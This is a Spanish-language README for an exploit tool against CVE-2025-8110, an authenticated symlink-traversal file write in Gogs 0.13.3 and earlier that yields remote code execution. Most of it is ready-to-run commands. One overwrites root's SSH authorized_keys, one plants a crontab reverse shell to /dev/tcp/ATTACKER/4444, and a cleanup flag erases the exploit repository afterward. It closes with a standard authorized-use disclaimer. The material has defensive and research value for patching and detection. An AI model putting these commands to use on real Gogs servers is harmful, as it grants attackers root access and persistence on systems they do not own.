
CVE-2025-8110 — Gogs <= 0.13.3 Escritura Arbitraria de Archivos mediante Symlink Traversal en la API PutContents
Gogs <= 0.13.3 es vulnerable a la escritura arbitraria de archivos a través de la API PutContents (/api/v1/repos/:owner/:repo/contents/:path).
La API valida rutas de archivo para secuencias de directory traversal (../) pero no resuelve enlaces simbólicos antes de escribir. Un usuario autenticado puede enviar un commit que contenga un enlace simbólico que apunte a cualquier archivo en el servidor, luego llamar a PutContents en ese enlace simbólico para sobrescribir el archivo destino con contenido controlado por el atacante.
Cuando Gogs se ejecuta como root (por defecto en Docker y muchas implementaciones), esto resulta en un compromiso total del sistema.
| Detalle | Valor |
|---|---|
| CVE | CVE-2025-8110 |
| Afectado | Gogs <= 0.13.3 |
| Tipo | Escritura arbitraria de archivos autenticada → RCE |
| CVSS | 8.8 (Alto) |
| Componente | API PutContents |
requests (pip install requests)git# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys), hacer commit y push.root).--url URL base de Gogs (ej. http://target:3001)
-u, --user Nombre de usuario de Gogs
-p, --password Contraseña de Gogs
--register Autorregistrar una cuenta desechable (sin captcha)
--target-file Ruta absoluta a sobrescribir en el servidor
--content Cadena de contenido a escribir
--content-file Archivo local cuyo contenido se va a escribir
--repo Nombre del repositorio a crear (por defecto: aleatorio)
--link-name Nombre del enlace simbólico en el repositorio (por defecto: payload)
--cleanup Eliminar el repositorio de explotación después de escribir
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Úsela de manera responsable.